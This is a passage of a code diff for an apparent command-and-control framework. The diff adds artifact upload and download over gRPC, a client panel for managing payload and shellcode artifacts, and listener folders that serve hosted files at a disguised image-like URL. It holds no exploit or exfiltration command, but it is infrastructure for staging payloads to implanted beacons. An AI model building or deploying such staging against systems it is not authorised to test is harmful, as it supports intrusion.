ALL_FILTER.lower() or lowered not in allowed: + return "any" + return lowered + + class Artifacts(QWidget): COLUMN_WIDTHS = [82, 92, 92, 220, 86, 66, 92, 70, 86, 112, 88] STRETCH_COLUMN = COL_NAME @@ -112,10 +123,12 @@ def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: self.searchInput.setToolTip("Filter artifacts by name.") self.searchInput.returnPressed.connect(self.refreshArtifacts) - self.generatedButton = self.createToolbarButton("Generated", "Show generated shellcode artifacts.", width=84) - self.generatedButton.clicked.connect(self.showGeneratedShellcodes) self.refreshButton = self.createToolbarButton("Refresh", "Refresh artifact catalog.", width=72) self.refreshButton.clicked.connect(self.refreshArtifacts) + self.uploadButton = self.createToolbarButton("Upload", "Upload a local file to UploadedArtifacts. Current Platform/Arch filters are used when set.", width=72) + self.uploadButton.clicked.connect(self.uploadArtifactFromClient) + self.downloadButton = self.createToolbarButton("Download", "Download selected artifact to a local file.", width=84) + self.downloadButton.clicked.connect(self.downloadSelectedArtifactToClient) self.copyIdButton = self.createToolbarButton("Copy ID", "Copy selected artifact id.", width=72) self.copyIdButton.clicked.connect(self.copySelectedArtifactId) self.deleteButton = self.createToolbarButton("Delete", "Delete selected generated artifact.", width=72) @@ -134,8 +147,9 @@ def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: toolbar.addWidget(QLabel("Runtime")) toolbar.addWidget(self.runtimeFilter) toolbar.addWidget(self.searchInput, 1) - toolbar.addWidget(self.generatedButton) toolbar.addWidget(self.refreshButton) + toolbar.addWidget(self.uploadButton) + toolbar.addWidget(self.downloadButton) toolbar.addWidget(self.copyIdButton) toolbar.addWidget(self.deleteButton) self.layout.addLayout(toolbar) @@ -159,6 +173,7 @@ def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: self.layout.addWidget(self.artifactTable, 1) self.updateActionButtons() + self.connectFilterSignals() self.refreshArtifacts() def createFilter(self, values: list[str], tooltip: str) -> QComboBox: @@ -187,6 +202,17 @@ def configureTableColumns(self) -> None: header.setSectionResizeMode(index, QHeaderView.ResizeMode.Interactive) self.artifactTable.setColumnWidth(index, width) + def connectFilterSignals(self) -> None: + for combo in ( + self.categoryFilter, + self.scopeFilter, + self.targetFilter, + self.platformFilter, + self.archFilter, + self.runtimeFilter, + ): + combo.currentTextChanged.connect(lambda _value: self.refreshArtifacts()) + def buildQuery(self) -> Any: query = TeamServerApi_pb2.ArtifactQuery() @@ -220,16 +246,6 @@ def buildQuery(self) -> Any: return query - def showGeneratedShellcodes(self) -> None: - self.categoryFilter.setCurrentText("payload") - self.scopeFilter.setCurrentText("generated") - self.targetFilter.setCurrentText(ALL_FILTER) - self.platformFilter.setCurrentText(ALL_FILTER) - self.archFilter.setCurrentText(ALL_FILTER) - self.runtimeFilter.setCurrentText("shellcode") - self.searchInput.clear() - self.refreshArtifacts() - def refreshArtifacts(self) -> None: try: self.artifacts = list(self.grpcClient.listArtifacts(self.buildQuery())) @@ -320,7 +336,18 @@ def selectedArtifactId(self) -> str: return _text(_field(artifact, "artifact_id")) def isGeneratedArtifact(self, artifact: Any | None) -> bool: - return artifact is not None and _text(_field(artifact, "scope")).lower() == "generated" + if artifact is None: + return False + return ( + _text(_field(artifact, "scope")).lower() == "generated" + and _text(_field(artifact, "category")).lower() != "hosted" + ) + + def selectedUploadTarget(self) -> tuple[str, str]: + return ( + _upload_filter_value(self.platformFilter.currentText(), UPLOAD_PLATFORMS), + _upload_filter_value(self.archFilter.currentText(), UPLOAD_ARCHS), + ) def copySelectedArtifactId(self) -> None: artifact_id = self.selectedArtifactId() @@ -331,6 +358,75 @@ def copySelectedArtifactId(self) -> None: QApplication.clipboard().setText(artifact_id) apply_status(self.statusLabel, "Artifacts: artifact ID copied.", StatusKind.SUCCESS) + def downloadSelectedArtifactToClient(self) -> None: + artifact = self.selectedArtifact() + artifact_id = self.selectedArtifactId() + if artifact is None or not artifact_id: + apply_status(self.statusLabel, "Artifacts: select an artifact first.", StatusKind.ERROR) + return + + default_name = _text(_field(artifact, "display_name")) or Path(_text(_field(artifact, "name"))).name or artifact_id + destination, _selected_filter = QFileDialog.getSaveFileName( + self, + "Download artifact", + default_name, + "All files (*)", + ) + if not destination: + return + + try: + response = self.grpcClient.downloadArtifact(artifact_id) + except Exception as exc: + apply_status(self.statusLabel, f"Artifacts: {compact_message(exc, limit=120)}", StatusKind.ERROR) + return + + if getattr(response, "status", TeamServerApi_pb2.KO) != TeamServerApi_pb2.OK: + message = _text(getattr(response, "message", "")) or "download failed" + apply_status(self.statusLabel, f"Artifacts: {compact_message(message, limit=120)}", StatusKind.ERROR) + return + + try: + Path(destination).write_bytes(bytes(getattr(response, "data", b""))) + except OSError as exc: + apply_status(self.statusLabel, f"Artifacts: {compact_message(exc, limit=120)}", StatusKind.ERROR) + return + + apply_status(self.statusLabel, f"Artifacts: downloaded {Path(destination).name}.", StatusKind.SUCCESS) + + def uploadArtifactFromClient(self) -> None: + source, _selected_filter = QFileDialog.getOpenFileName( + self, + "Upload artifact", + "", + "All files (*)", + ) + if not source: + return + + source_path = Path(source) + try: + payload = source_path.read_bytes() + except OSError as exc: + apply_status(self.statusLabel, f"Artifacts: {compact_message(exc, limit=120)}", StatusKind.ERROR) + return + + platform, arch = self.selectedUploadTarget() + try: + response = self.grpcClient.uploadArtifact(source_path.name, payload, platform, arch) + except Exception as exc: + apply_status(self.statusLabel, f"Artifacts: {compact_message(exc, limit=120)}", StatusKind.ERROR) + return + + if getattr(response, "status", TeamServerApi_pb2.KO) != TeamServerApi_pb2.OK: + message = _text(getattr(response, "message", "")) or "upload failed" + apply_status(self.statusLabel, f"Artifacts: {compact_message(message, limit=120)}", StatusKind.ERROR) + return + + self.refreshArtifacts() + message = _text(getattr(response, "message", "")) or "uploaded artifact stored" + apply_status(self.statusLabel, f"Artifacts: {message}", StatusKind.SUCCESS) + def deleteSelectedGeneratedArtifact(self) -> None: artifact = self.selectedArtifact() artifact_id = self.selectedArtifactId() @@ -374,4 +470,5 @@ def deleteSelectedGeneratedArtifact(self) -> None: def updateActionButtons(self) -> None: selected_artifact = self.selectedArtifact() self.copyIdButton.setEnabled(bool(selected_artifact)) + self.downloadButton.setEnabled(bool(selected_artifact)) self.deleteButton.setEnabled(self.isGeneratedArtifact(selected_artifact)) diff --git a/C2Client/C2Client/grpcClient.py b/C2Client/C2Client/grpcClient.py index 82cd865..1cadddd 100644 --- a/C2Client/C2Client/grpcClient.py +++ b/C2Client/C2Client/grpcClient.py @@ -229,6 +229,29 @@ def listArtifacts(self, query: Optional[Any] = None) -> Iterable[Any]: query = TeamServerApi_pb2.ArtifactQuery() return self._stream_rpc("ListArtifacts", lambda: self.stub.ListArtifacts(query, metadata=self.metadata)) + def downloadArtifact(self, artifact_id: str) -> Any: + """Return artifact payload bytes by id.""" + + selector = TeamServerApi_pb2.ArtifactSelector(artifact_id=artifact_id) + return self._unary_rpc( + "DownloadArtifact", + lambda: self.stub.DownloadArtifact(selector, metadata=self.metadata), + ) + + def uploadArtifact(self, name: str, data: bytes, platform: str = "any", arch: str = "any") -> Any: + """Upload an operator artifact to the TeamServer artifact store.""" + + request = TeamServerApi_pb2.ArtifactUploadRequest( + name=name, + platform=platform, + arch=arch, + data=data, + ) + return self._unary_rpc( + "UploadArtifact", + lambda: self.stub.UploadArtifact(request, metadata=self.metadata), + ) + def deleteGeneratedArtifact(self, artifact_id: str) -> Any: """Delete a generated artifact by id.""" diff --git a/C2Client/tests/test_artifact_panel.py b/C2Client/tests/test_artifact_panel.py index eaba298..4646ccb 100644 --- a/C2Client/tests/test_artifact_panel.py +++ b/C2Client/tests/test_artifact_panel.py @@ -1,6 +1,6 @@ from types import SimpleNamespace -from PyQt6.QtWidgets import QApplication, QMessageBox, QWidget +from PyQt6.QtWidgets import QApplication, QFileDialog, QMessageBox, QWidget from C2Client.ArtifactPanel import Artifacts, format_size from C2Client.grpcClient import TeamServerApi_pb2 @@ -60,6 +60,8 @@ def __init__(self): ), ] self.deleted = [] + self.downloaded = [] + self.uploaded = [] def listArtifacts(self, query): self.queries.append(query) @@ -96,6 +98,39 @@ def deleteGeneratedArtifact(self, artifact_id): ] return SimpleNamespace(status=TeamServerApi_pb2.OK, message="Generated artifact deleted.") + def downloadArtifact(self, artifact_id): + self.downloaded.append(artifact_id) + return SimpleNamespace( + status=TeamServerApi_pb2.OK, + message="Artifact downloaded.", + artifact_id=artifact_id, + name="downloaded.bin", + display_name="downloaded.bin", + data=b"artifact-bytes", + ) + + def uploadArtifact(self, name, data, platform="any", arch="any"): + self.uploaded.append((name, data, platform, arch)) + self.artifacts.append( + SimpleNamespace( + artifact_id="artifact-uploaded-1", + name=name, + display_name=name, + category="upload", + scope="operator", + target="beacon", + platform=platform, + arch=arch, + runtime="file", + format="bin", + source="release", + size=len(data), + sha256="d" * 64, + description="Uploaded from client.", + ) + ) + return SimpleNamespace(status=TeamServerApi_pb2.OK, message=f"Uploaded artifact stored: {name}") + class FailingGrpc: def listArtifacts(self, query): @@ -117,6 +152,8 @@ def test_artifacts_panel_lists_filters_and_copies_id(qtbot): assert panel.categoryFilter.findText("minidump") != -1 assert panel.categoryFilter.findText("screenshot") != -1 + assert panel.categoryFilter.findText("hosted") != -1 + assert not panel.isGeneratedArtifact(SimpleNamespace(category="hosted", scope="generated")) assert panel.artifactTable.rowCount() == 3 assert panel.artifactTable.item(0, 0).text() == "module" assert panel.artifactTable.item(0, 1).text() == "beacon" @@ -153,13 +190,16 @@ def test_artifacts_panel_lists_filters_and_copies_id(qtbot): assert not panel.deleteButton.isEnabled() -def test_artifacts_panel_filters_generated_shellcodes_and_deletes(qtbot, monkeypatch): +def test_artifacts_panel_filters_on_selection_and_deletes_generated(qtbot, monkeypatch): grpc = FakeGrpc() parent = QWidget() panel = Artifacts(parent, grpc) qtbot.addWidget(panel) - panel.generatedButton.click() + assert not hasattr(panel, "generatedButton") + panel.categoryFilter.setCurrentText("payload") + panel.scopeFilter.setCurrentText("generated") + panel.runtimeFilter.setCurrentText("shellcode") query = grpc.queries[-1] assert query.category == "payload" @@ -184,6 +224,41 @@ def test_artifacts_panel_filters_generated_shellcodes_and_deletes(qtbot, monkeyp assert panel.statusLabel.text() == "Artifacts: Generated artifact deleted." +def test_artifacts_panel_downloads_and_uploads_files(qtbot, monkeypatch, tmp_path): + grpc = FakeGrpc() + parent = QWidget() + panel = Artifacts(parent, grpc) + qtbot.addWidget(panel) + + destination = tmp_path / "artifact.bin" + monkeypatch.setattr( + QFileDialog, + "getSaveFileName", + lambda *args, **kwargs: (str(destination), ""), + ) + panel.artifactTable.selectRow(0) + panel.downloadButton.click() + + assert grpc.downloaded == ["artifact-module-1"] + assert destination.read_bytes() == b"artifact-bytes" + assert panel.statusLabel.text() == "Artifacts: downloaded artifact.bin." + + source = tmp_path / "local payload.bin" + source.write_bytes(b"local-bytes") + monkeypatch.setattr( + QFileDialog, + "getOpenFileName", + lambda *args, **kwargs: (str(source), ""), + ) + panel.platformFilter.setCurrentText("windows") + panel.archFilter.setCurrentText("x64") + panel.uploadButton.click() + + assert grpc.uploaded == [("local payload.bin", b"local-bytes", "windows", "x64")] + assert panel.statusLabel.text() == "Artifacts: Uploaded artifact stored: local payload.bin" + assert any(getattr(artifact, "artifact_id", "") == "artifact-uploaded-1" for artifact in panel.artifacts) + + def test_artifacts_panel_reports_refresh_errors(qtbot): parent = QWidget() panel = Artifacts(parent, FailingGrpc()) diff --git a/C2Client/tests/test_grpc_client.py b/C2Client/tests/test_grpc_client.py index bbe2ebb..a0749f4 100644 --- a/C2Client/tests/test_grpc_client.py +++ b/C2Client/tests/test_grpc_client.py @@ -7,7 +7,7 @@ import sys sys.modules['grpcClient'] = grpc_client_module -from C2Client.grpcClient import GrpcClient, TeamServerApi_pb2_grpc +from C2Client.grpcClient import GrpcClient, TeamServerApi_pb2, TeamServerApi_pb2_grpc class DummyFuture: @@ -73,6 +73,57 @@ def test_grpc_client_lists_artifacts(tmp_path, monkeypatch): assert events == [("ListArtifacts", True, "")] +def test_grpc_client_downloads_artifact(tmp_path, monkeypatch): + cert = tmp_path / "cert.crt" + cert.write_text("cert") + monkeypatch.setenv("C2_CERT_PATH", str(cert)) + monkeypatch.setattr(grpc, "ssl_channel_credentials", lambda _: object()) + monkeypatch.setattr(grpc, "secure_channel", lambda *args, **kwargs: object()) + monkeypatch.setattr(grpc, "channel_ready_future", lambda channel: DummyFuture()) + stub = mock.MagicMock() + response = object() + stub.DownloadArtifact.return_value = response + monkeypatch.setattr(TeamServerApi_pb2_grpc, "TeamServerApiStub", lambda channel: stub) + + client = GrpcClient("127.0.0.1", 50051, False, token="tok") + events = [] + client.set_status_callback(lambda operation, ok, message: events.append((operation, ok, message))) + + assert client.downloadArtifact("artifact-1") is response + request = stub.DownloadArtifact.call_args.args[0] + assert isinstance(request, TeamServerApi_pb2.ArtifactSelector) + assert request.artifact_id == "artifact-1" + assert stub.DownloadArtifact.call_args.kwargs["metadata"] == client.metadata + assert events == [("DownloadArtifact", True, "")] + + +def test_grpc_client_uploads_artifact(tmp_path, monkeypatch): + cert = tmp_path / "cert.crt" + cert.write_text("cert") + monkeypatch.setenv("C2_CERT_PATH", str(cert)) + monkeypatch.setattr(grpc, "ssl_channel_credentials", lambda _: object()) + monkeypatch.setattr(grpc, "secure_channel", lambda *args, **kwargs: object()) + monkeypatch.setattr(grpc, "channel_ready_future", lambda channel: DummyFuture()) + stub = mock.MagicMock() + response = object() + stub.UploadArtifact.return_value = response + monkeypatch.setattr(TeamServerApi_pb2_grpc, "TeamServerApiStub", lambda channel: stub) + + client = GrpcClient("127.0.0.1", 50051, False, token="tok") + events = [] + client.set_status_callback(lambda operation, ok, message: events.append((operation, ok, message))) + + assert client.uploadArtifact("payload.bin", b"payload", "windows", "x64") is response + request = stub.UploadArtifact.call_args.args[0] + assert isinstance(request, TeamServerApi_pb2.ArtifactUploadRequest) + assert request.name == "payload.bin" + assert request.data == b"payload" + assert request.platform == "windows" + assert request.arch == "x64" + assert stub.UploadArtifact.call_args.kwargs["metadata"] == client.metadata + assert events == [("UploadArtifact", True, "")] + + def test_grpc_client_lists_commands(tmp_path, monkeypatch): cert = tmp_path / "cert.crt" cert.write_text("cert") diff --git a/protocol/TeamServerApi.proto b/protocol/TeamServerApi.proto index d3d17e8..f57e9b9 100644 --- a/protocol/TeamServerApi.proto +++ b/protocol/TeamServerApi.proto @@ -15,6 +15,8 @@ service TeamServerApi rpc StopSession(SessionSelector) returns (OperationAck) {} rpc ListArtifacts(ArtifactQuery) returns (stream ArtifactSummary) {} + rpc DownloadArtifact(ArtifactSelector) returns (ArtifactContent) {} + rpc UploadArtifact(ArtifactUploadRequest) returns (OperationAck) {} rpc DeleteGeneratedArtifact(ArtifactSelector) returns (OperationAck) {} rpc ListCommands(CommandQuery) returns (stream CommandSpec) {} rpc ListModules(SessionSelector) returns (stream LoadedModule) {} @@ -142,6 +144,24 @@ message ArtifactSelector string artifact_id = 1; } +message ArtifactContent +{ + Status status = 1; + string message = 2; + string artifact_id = 3; + string name = 4; + string display_name = 5; + bytes data = 6; +} + +message ArtifactUploadRequest +{ + string name = 1; + string platform = 2; + string arch = 3; + bytes data = 4; +} + message CommandQuery { diff --git a/teamServer/teamServer/TeamServer.cpp b/teamServer/teamServer/TeamServer.cpp index 3a93d8c..ad6269c 100644 --- a/teamServer/teamServer/TeamServer.cpp +++ b/teamServer/teamServer/TeamServer.cpp @@ -43,6 +43,30 @@ inline bool port_in_use(unsigned short port) return 0; } +namespace +{ +std::string trimTrailingPathSeparators(std::string path) +{ + while (!path.empty() && (path.back() == '/' || path.back() == '\\')) + path.pop_back(); + return path; +} + +void configureHostedDownloadFolders(nlohmann::json& config, const TeamServerRuntimeConfig& runtimeConfig) +{ + const std::string hostedPath = trimTrailingPathSeparators(runtimeConfig.hostedArtifactsDirectoryPath); + if (hostedPath.empty()) + return; + + for (const char* section : {"ListenerHttpConfig", "ListenerHttpsConfig"}) + { + if (!config[section].is_object()) + config[section] = nlohmann::json::object(); + config[section]["downloadFolder"] = hostedPath; + } +} +} // namespace + std::string getIPAddress(const std::string& interface); grpc::Status TeamServer::ensureAuthenticated(grpc::ServerContext* context) @@ -58,6 +82,7 @@ TeamServer::TeamServer(const nlohmann::json& config) TeamServerRuntimeConfig runtimeConfig = TeamServerRuntimeConfig::fromJson(config); runtimeConfig.validateDirectories(m_logger); runtimeConfig.configureCommonCommands(m_commonCommands); + configureHostedDownloadFolders(m_config, runtimeConfig); m_authManager = std::make_unique(m_logger); m_authManager->configure(config); @@ -236,6 +261,22 @@ grpc::Status TeamServer::ListArtifacts(grpc::ServerContext* context, const teams { return writer->Write(artifact); }); } +grpc::Status TeamServer::DownloadArtifact(grpc::ServerContext* context, const teamserverapi::ArtifactSelector* selector, teamserverapi::ArtifactContent* response) +{ + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + return m_artifactService->downloadArtifact(*selector, response); +} + +grpc::Status TeamServer::UploadArtifact(grpc::ServerContext* context, const teamserverapi::ArtifactUploadRequest* request, teamserverapi::OperationAck* response) +{ + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + return m_artifactService->uploadArtifact(*request, response); +} + grpc::Status TeamServer::DeleteGeneratedArtifact(grpc::ServerContext* context, const teamserverapi::ArtifactSelector* selector, teamserverapi::OperationAck* response) { auto authStatus = ensureAuthenticated(context); @@ -404,7 +445,6 @@ grpc::Status TeamServer::ExecuteTerminalCommand(grpc::ServerContext* context, co m_logger->debug("socks {0}", cmd); return m_socksService->handleCommand(splitedCmd, response); } - // TODO add a clean www directory !!! else { responseTmp.set_result("Error: not implemented."); diff --git a/teamServer/teamServer/TeamServer.hpp b/teamServer/teamServer/TeamServer.hpp index aa0c966..2e88bb0 100644 --- a/teamServer/teamServer/TeamServer.hpp +++ b/teamServer/teamServer/TeamServer.hpp @@ -59,6 +59,8 @@ class TeamServer final : public teamserverapi::TeamServerApi::Service grpc::Status StopSession(grpc::ServerContext* context, const teamserverapi::SessionSelector* sessionToStop, teamserverapi::OperationAck* response) override; grpc::Status ListArtifacts(grpc::ServerContext* context, const teamserverapi::ArtifactQuery* query, grpc::ServerWriter* writer) override; + grpc::Status DownloadArtifact(grpc::ServerContext* context, const teamserverapi::ArtifactSelector* selector, teamserverapi::ArtifactContent* response) override; + grpc::Status UploadArtifact(grpc::ServerContext* context, const teamserverapi::ArtifactUploadRequest* request, teamserverapi::OperationAck* response) override; grpc::Status DeleteGeneratedArtifact(grpc::ServerContext* context, const teamserverapi::ArtifactSelector* selector, teamserverapi::OperationAck* response) override; grpc::Status ListCommands(grpc::ServerContext* context, const teamserverapi::CommandQuery* query, grpc::ServerWriter* writer) override; grpc::Status ListModules(grpc::ServerContext* context, const teamserverapi::SessionSelector* session, grpc::ServerWriter* writer) override; diff --git a/teamServer/teamServer/TeamServerArtifactCatalog.cpp b/teamServer/teamServer/TeamServerArtifactCatalog.cpp index 3f2b7de..45cdd08 100644 --- a/teamServer/teamServer/TeamServerArtifactCatalog.cpp +++ b/teamServer/teamServer/TeamServerArtifactCatalog.cpp @@ -6,6 +6,7 @@ #include #include #include +#include #include #include #include @@ -188,6 +189,50 @@ std::string detectFormat(const fs::path& path) return extension; } +std::string sanitizeArtifactName(std::string value) +{ + value = fs::path(value).filename().string(); + for (char& ch : value) + { + const unsigned char c = static_cast(ch); + if (!std::isalnum(c) && ch != '.' && ch != '-' && ch != '_') + ch = '_'; + } + value.erase(std::remove(value.begin(), value.end(), '/'), value.end()); + value.erase(std::remove(value.begin(), value.end(), '\\'), value.end()); + return value.empty() ? "artifact.bin" : value; +} + +std::string normalizeUploadPlatform(std::string platform) +{ + platform = toLower(platform); + if (platform == "windows" || platform == "win") + return "windows"; + if (platform == "linux") + return "linux"; + return "any"; +} + +std::string normalizeUploadArch( + const std::string& platform, + const std::string& arch, + const TeamServerRuntimeConfig& runtimeConfig) +{ + std::string normalized; + if (platform == "windows") + normalized = TeamServerRuntimeConfig::normalizeWindowsArch(arch); + else if (platform == "linux") + normalized = TeamServerRuntimeConfig::normalizeLinuxArch(arch); + + if (!normalized.empty()) + return normalized; + if (platform == "windows") + return runtimeConfig.defaultWindowsArch.empty() ? "x64" : runtimeConfig.defaultWindowsArch; + if (platform == "linux") + return runtimeConfig.defaultLinuxArch.empty() ? "x64" : runtimeConfig.defaultLinuxArch; + return "any"; +} + void collectDirectoryArtifacts( const fs::path& root, const std::string& category, @@ -196,7 +241,8 @@ void collectDirectoryArtifacts( const std::string& platform, const std::string& arch, const std::string& runtime, - std::vector& artifacts) + std::vector& artifacts, + const std::string& source = ReleaseSource) { std::error_code ec; if (root.empty() || !fs::exists(root, ec) || !fs::is_directory(root, ec)) @@ -227,6 +273,11 @@ void collectDirectoryArtifacts( } if (hasHiddenComponent(relativePath)) continue; + if (path.filename().string().find(".artifact.") != std::string::npos) + continue; + if (fs::exists(fs::path(path.string() + ".artifact.json"), ec)) + continue; + ec.clear(); const std::string contentHash = sha256File(path); if (contentHash.empty()) @@ -242,7 +293,7 @@ void collectDirectoryArtifacts( artifact.arch = arch; artifact.format = detectFormat(path); artifact.runtime = runtime; - artifact.source = ReleaseSource; + artifact.source = source; artifact.sha256 = contentHash; artifact.internalPath = path.string(); @@ -421,6 +472,7 @@ std::vector TeamServerArtifactCatalog::listArtifacts(c collectToolsArtifacts(m_runtimeConfig.toolsDirectoryPath, m_runtimeConfig.supportedWindowsArchs, m_runtimeConfig.supportedLinuxArchs, allArtifacts); collectScriptArtifacts(m_runtimeConfig.scriptsDirectoryPath, allArtifacts); collectUploadedArtifacts(m_runtimeConfig.uploadedArtifactsDirectoryPath, m_runtimeConfig.supportedWindowsArchs, m_runtimeConfig.supportedLinuxArchs, allArtifacts); + collectDirectoryArtifacts(m_runtimeConfig.hostedArtifactsDirectoryPath, "hosted", "generated", "listener", "any", "any", "file", allArtifacts, "operator"); collectGeneratedArtifacts(m_runtimeConfig.generatedArtifactsDirectoryPath, allArtifacts); std::vector filteredArtifacts; @@ -434,6 +486,109 @@ std::vector TeamServerArtifactCatalog::listArtifacts(c return filteredArtifacts; } +bool TeamServerArtifactCatalog::readArtifactPayload( + const std::string& artifactId, + TeamServerArtifactRecord& artifact, + std::string& bytes, + std::string& message) const +{ + if (artifactId.empty()) + { + message = "Missing artifact id."; + return false; + } + + const std::vector artifacts = listArtifacts(); + const auto it = std::find_if( + artifacts.begin(), + artifacts.end(), + [&](const TeamServerArtifactRecord& candidate) + { + return candidate.artifactId == artifactId; + }); + if (it == artifacts.end()) + { + message = "Artifact not found."; + return false; + } + + std::ifstream input(it->internalPath, std::ios::binary); + if (!input.good()) + { + message = "Artifact payload could not be read."; + return false; + } + + bytes.assign(std::istreambuf_iterator(input), {}); + if (!input.good() && !input.eof()) + { + message = "Artifact payload read failed."; + return false; + } + + artifact = *it; + message = "Artifact downloaded."; + return true; +} + +bool TeamServerArtifactCatalog::storeUploadedArtifact( + const std::string& name, + const std::string& bytes, + const std::string& platform, + const std::string& arch, + TeamServerArtifactRecord& artifact, + std::string& message) const +{ + const std::string fileName = sanitizeArtifactName(name); + const std::string normalizedPlatform = normalizeUploadPlatform(platform); + const std::string normalizedArch = normalizeUploadArch(normalizedPlatform, arch, m_runtimeConfig); + + fs::path destinationRoot = m_runtimeConfig.uploadedArtifactsDirectoryPath; + if (normalizedPlatform == "windows") + destinationRoot /= fs::path("Windows") / normalizedArch; + else if (normalizedPlatform == "linux") + destinationRoot /= fs::path("Linux") / normalizedArch; + else + destinationRoot /= fs::path("Any") / "any"; + + std::error_code ec; + fs::create_directories(destinationRoot, ec); + if (ec) + { + message = "Upload artifact directory could not be created: " + ec.message(); + return false; + } + + const fs::path destinationPath = destinationRoot / fileName; + std::ofstream output(destinationPath, std::ios::binary | std::ios::trunc); + if (!output.good()) + { + message = "Upload artifact could not be opened: " + destinationPath.filename().string(); + return false; + } + output.write(bytes.data(), static_cast(bytes.size())); + output.close(); + if (!output.good()) + { + message = "Upload artifact could not be written: " + destinationPath.filename().string(); + return false; + } + + const std::string destinationString = destinationPath.string(); + for (const TeamServerArtifactRecord& candidate : listArtifacts()) + { + if (candidate.internalPath == destinationString) + { + artifact = candidate; + message = "Uploaded artifact stored: " + candidate.name; + return true; + } + } + + message = "Upload artifact stored, but catalog indexing failed."; + return false; +} + bool TeamServerArtifactCatalog::deleteGeneratedArtifact(const std::string& artifactId, std::string& message) const { if (artifactId.empty()) diff --git a/teamServer/teamServer/TeamServerArtifactCatalog.hpp b/teamServer/teamServer/TeamServerArtifactCatalog.hpp index 243ea3c..3b5a9c4 100644 --- a/teamServer/teamServer/TeamServerArtifactCatalog.hpp +++ b/teamServer/teamServer/TeamServerArtifactCatalog.hpp @@ -43,6 +43,8 @@ class TeamServerArtifactCatalog explicit TeamServerArtifactCatalog(TeamServerRuntimeConfig runtimeConfig); std::vector listArtifacts(const TeamServerArtifactQuery& query = {}) const; + bool readArtifactPayload(const std::string& artifactId, TeamServerArtifactRecord& artifact, std::string& bytes, std::string& message) const; + bool storeUploadedArtifact(const std::string& name, const std::string& bytes, const std::string& platform, const std::string& arch, TeamServerArtifactRecord& artifact, std::string& message) const; bool deleteGeneratedArtifact(const std::string& artifactId, std::string& message) const; private: diff --git a/teamServer/teamServer/TeamServerArtifactService.cpp b/teamServer/teamServer/TeamServerArtifactService.cpp index 35fa4cf..023c4a1 100644 --- a/teamServer/teamServer/TeamServerArtifactService.cpp +++ b/teamServer/teamServer/TeamServerArtifactService.cpp @@ -37,6 +37,57 @@ grpc::Status TeamServerArtifactService::listArtifacts( return grpc::Status::OK; } +grpc::Status TeamServerArtifactService::downloadArtifact( + const teamserverapi::ArtifactSelector& selector, + teamserverapi::ArtifactContent* response) const +{ + TeamServerArtifactRecord artifact; + std::string bytes; + std::string message; + const bool downloaded = m_catalog.readArtifactPayload(selector.artifact_id(), artifact, bytes, message); + + response->set_status(downloaded ? teamserverapi::OK : teamserverapi::KO); + response->set_message(message); + if (downloaded) + { + response->set_artifact_id(artifact.artifactId); + response->set_name(artifact.name); + response->set_display_name(artifact.displayName); + response->set_data(std::move(bytes)); + m_logger->info("Downloaded artifact {0}", selector.artifact_id()); + } + else + { + m_logger->warn("Download artifact failed for {0}: {1}", selector.artifact_id(), message); + } + + return grpc::Status::OK; +} + +grpc::Status TeamServerArtifactService::uploadArtifact( + const teamserverapi::ArtifactUploadRequest& request, + teamserverapi::OperationAck* response) const +{ + TeamServerArtifactRecord artifact; + std::string message; + const bool uploaded = m_catalog.storeUploadedArtifact( + request.name(), + request.data(), + request.platform(), + request.arch(), + artifact, + message); + + response->set_status(uploaded ? teamserverapi::OK : teamserverapi::KO); + response->set_message(message); + if (uploaded) + m_logger->info("Uploaded artifact {0}", artifact.name); + else + m_logger->warn("Upload artifact failed for {0}: {1}", request.name(), message); + + return grpc::Status::OK; +} + grpc::Status TeamServerArtifactService::deleteGeneratedArtifact( const teamserverapi::ArtifactSelector& selector, teamserverapi::OperationAck* response) const diff --git a/teamServer/teamServer/TeamServerArtifactService.hpp b/teamServer/teamServer/TeamServerArtifactService.hpp index 131df85..104f26f 100644 --- a/teamServer/teamServer/TeamServerArtifactService.hpp +++ b/teamServer/teamServer/TeamServerArtifactService.hpp @@ -21,6 +21,12 @@ class TeamServerArtifactService grpc::Status listArtifacts( const teamserverapi::ArtifactQuery& query, const ArtifactWriter& writer) const; + grpc::Status downloadArtifact( + const teamserverapi::ArtifactSelector& selector, + teamserverapi::ArtifactContent* response) const; + grpc::Status uploadArtifact( + const teamserverapi::ArtifactUploadRequest& request, + teamserverapi::OperationAck* response) const; grpc::Status deleteGeneratedArtifact( const teamserverapi::ArtifactSelector& selector, teamserverapi::OperationAck* response) const; diff --git a/teamServer/teamServer/TeamServerConfig.json b/teamServer/teamServer/TeamServerConfig.json index e911fb0..d89a9d2 100644 --- a/teamServer/teamServer/TeamServerConfig.json +++ b/teamServer/teamServer/TeamServerConfig.json @@ -9,7 +9,7 @@ "SupportedLinuxArchs": ["x64"], "UploadedArtifactsDirectoryPath": "../data/UploadedArtifacts/", "GeneratedArtifactsDirectoryPath": "../data/GeneratedArtifacts/", - "WwwDirectoryPath": "../data/www/", + "HostedArtifactsDirectoryPath": "../data/GeneratedArtifacts/hosted/", "//Host contacted by the beacon": "3 following value are related to the host, probably a proxy, that will be contacted by the beacon, if DomainName is filled it will be selected first, then the ExposedIp and then the IpInterface", "DomainName": "", "ExposedIp": "", @@ -33,7 +33,7 @@ "/test/ws" ], "uriFileDownload": "/images/commun/1.084.4584/serv/", - "downloadFolder": "../data/www", + "downloadFolder": "../data/GeneratedArtifacts/hosted", "server": { "headers": { "Access-Control-Allow-Origin": "true", @@ -59,7 +59,7 @@ "/test/ws" ], "uriFileDownload": "/images/commun/1.084.4584/serv/", - "downloadFolder": "../data/www", + "downloadFolder": "../data/GeneratedArtifacts/hosted", "server": { "headers": { "Access-Control-Allow-Origin": "true", diff --git a/teamServer/teamServer/TeamServerRuntimeConfig.cpp b/teamServer/teamServer/TeamServerRuntimeConfig.cpp index bd34aaa..79d8039 100644 --- a/teamServer/teamServer/TeamServerRuntimeConfig.cpp +++ b/teamServer/teamServer/TeamServerRuntimeConfig.cpp @@ -105,8 +105,8 @@ TeamServerRuntimeConfig TeamServerRuntimeConfig::fromJson(const nlohmann::json& jsonString(config, "UploadedArtifactsDirectoryPath", childPath(runtimeConfig.dataRoot, "UploadedArtifacts"))); runtimeConfig.generatedArtifactsDirectoryPath = ensureTrailingSeparator( jsonString(config, "GeneratedArtifactsDirectoryPath", childPath(runtimeConfig.dataRoot, "GeneratedArtifacts"))); - runtimeConfig.wwwDirectoryPath = 